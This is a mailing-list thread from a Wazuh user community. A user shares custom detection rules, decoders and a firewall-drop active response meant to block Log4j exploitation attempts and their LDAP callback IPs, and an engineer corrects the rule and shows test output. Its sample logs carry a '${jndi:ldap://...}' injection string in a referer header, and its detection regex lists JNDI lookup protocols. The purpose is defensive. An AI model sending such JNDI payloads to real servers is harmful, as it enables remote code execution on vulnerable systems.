(log4j) Help to create a proper Active Response to Log4J exfiltration IP

[Sébastien Beugnon]

Hi everyone from Wazuh community,

I'm a small user of Wazuh and I would like some assistance if possible) to check if my "build" complies with a good setup to protect my servers from Log4j attacks.

I receive 20 requests a day and even with no java installed in my systems. I wish to be sure of what I've done to protect myself.

I succeed to create new rules to detect Log4j attacks using the blog article from Wazuh website (nice one) and create an active response with firewall-drop:

<group name="log4j, attack,">
  <rule id="100005" level="12">
    <if_group>web|accesslog|attack</if_group>
    <match>${jndi:|/$%7Bjndi:</match>
    <regex type="pcre2">:ldap[s]?:|:rmi:|:dns:|:nis:|:iiop:|:corba:|:nds:|:http:</regex>
    <description>Log4j RCE attack attempt detected.</description>
    <mitre>
       <id>T1190</id>
       <id>T1210</id>
       <id>T1211</id>
    </mitre>
  </rule>
</group>

In order to improve my security, I also wish to deny access to the exfiltration IP present in log4j attacks such as:

• [Fri Jan X XX:XX:XX.XXXXXX XXXX] [proxy:error] [pid X] [client XXX.XXX.XXX.XXX:XXXXX] AH00898: Max-Forwards request header could not be parsed returned by /, referer: ${jndi:ldap://XXX.XXX.XXX.XXX:XXXXX/a}

I have created a set of decoders to extract the ip:

<decoder name="log4j-attack">
    <prematch>jndi:ldap://\d+.\d+.\d+.\d+</prematch>
</decoder>


<decoder name="log4j-attack1">
    <parent>log4j-attack</parent>
    <regex>jndi:ldap://(\d+.\d+.\d+.\d+)</regex>
    <order>exfiltrationip</order>
</decoder>

And added the decoder in my previous rule:

<group name="log4j, attack,">
  <rule id="100005" level="12">
    <if_group>web|accesslog|attack</if_group>
    <match>${jndi:|/$%7Bjndi:</match>
    <regex type="pcre2">:ldap[s]?:|:rmi:|:dns:|:nis:|:iiop:|:corba:|:nds:|:http:</regex>
     <decoded_as>log4j-attack</decoded_as>
    <description>Log4j RCE attack attempt detected.</description>
    <mitre>
       <id>T1190</id>
       <id>T1210</id>
       <id>T1211</id>
    </mitre>
  </rule>
</group>

I've created a new command from firewall-drop in order to use the new extracted field:

   <command>
    <name>firewall-drop-exfiltration-ip</name>
    <executable>firewall-drop.sh</executable>
    <extra_args>exfiltrationip</extra_args>
    <timeout_allowed>yes</timeout_allowed>
  </command>

And I've added a new AR to my existing one:

  <active-response>
    <command>firewall-drop-exfiltration-ip</command>
    <location>local</location>
    <rules_id>100005</rules_id>
    <timeout>36000</timeout>
  </active-response>

My question is:  is it enough or I need something more powerful to prevent exfiltration?

Could someone can confirm that is a good solution or a terrible one ?

Have a nice day.

Best regards,

[Victor M Fernandez-Castro]

Hi Sébastien,

Your configuration seems cool, but there's a line in the rule that I think we should remove:

<if_group>web|accesslog|attack</if_group>

<if_group> converts your rule in a child of every previous rule with those groups, meaning that the input log must match a previous rule in groups web, accesslog or attack. Maybe I'm doing something wrong, but the log matches no rules of these groups:

**Phase 1: Completed pre-decoding.
        full event: '[Fri Jan 28 12:07:14.123456 +0100] [proxy:error] [pid X] [client 192.168.1.1:1514] AH00898: Max-Forwards request header could not be parsed returned by /, referer: ${jndi:ldap://192.168.1.2:1212/a}'

**Phase 2: Completed decoding.
        name: 'log4j-attack'
        exfiltrationip: '192.168.1.2'

**Phase 3: Completed filtering (rules).
        id: '1002'
        level: '2'
        description: 'Unknown problem somewhere in the system.'
        groups: '['syslog', 'errors']'
        firedtimes: '1'
        gpg13: '['4.3']'
        mail: 'False'

But if we remove <if_group>, the log matches your rule:

**Phase 1: Completed pre-decoding.
        full event: '[Fri Jan 28 12:07:14.123456 +0100] [proxy:error] [pid X] [client 192.168.1.1:1514] AH00898: Max-Forwards request header could not be parsed returned by /, referer: ${jndi:ldap://192.168.1.2:1212/a}'

**Phase 2: Completed decoding.
        name: 'log4j-attack'
        exfiltrationip: '192.168.1.2'

**Phase 3: Completed filtering (rules).
        id: '100005'
        level: '12'
        description: 'Log4j RCE attack attempt detected.'
        groups: '['log4j', ' attack']'
        firedtimes: '1'
        mail: 'True'
        mitre.id: '['T1190', 'T1210', 'T1211']'
        mitre.tactic: '['Initial Access', 'Lateral Movement', 'Defense Evasion']'
        mitre.technique: '['Exploit Public-Facing Application', 'Exploitation of Remote Services', 'Exploitation for Defense Evasion']'
**Alert to be generated.

On the other hand, I wonder if we may want to block the client's IP (192.168.1.1 in my example) instead of (or in addition to) the referer. This depends on how you implemented your custom firewall-drop script, but I guess we want to block incoming connections from the client's IP and/or outcoming connections towards the LDAP server.

Finally, regarding the Active Response application, you're not defining <expect>, which makes me think that you're using version 4.2. However, the new Active Response implementations (as of 4.2.0) are native programs in C, that shall catch field data.exfiltrationip from the alert in JSON format. If you considered this point, everything is correct.

Hope this helps you.

Best regards,

Victor M. Fernandez-Castro 
Director of engineering | vic...@wazuh.com

--
You received this message because you are subscribed to the Google Groups "Wazuh mailing list" group.
To unsubscribe from this group and stop receiving emails from it, send an email to wazuh+un...@googlegroups.com.
To view this discussion on the web visit https://groups.google.com/d/msgid/wazuh/d4d1c63a-5a9c-4111-ba93-4552df122e85n%40googlegroups.com.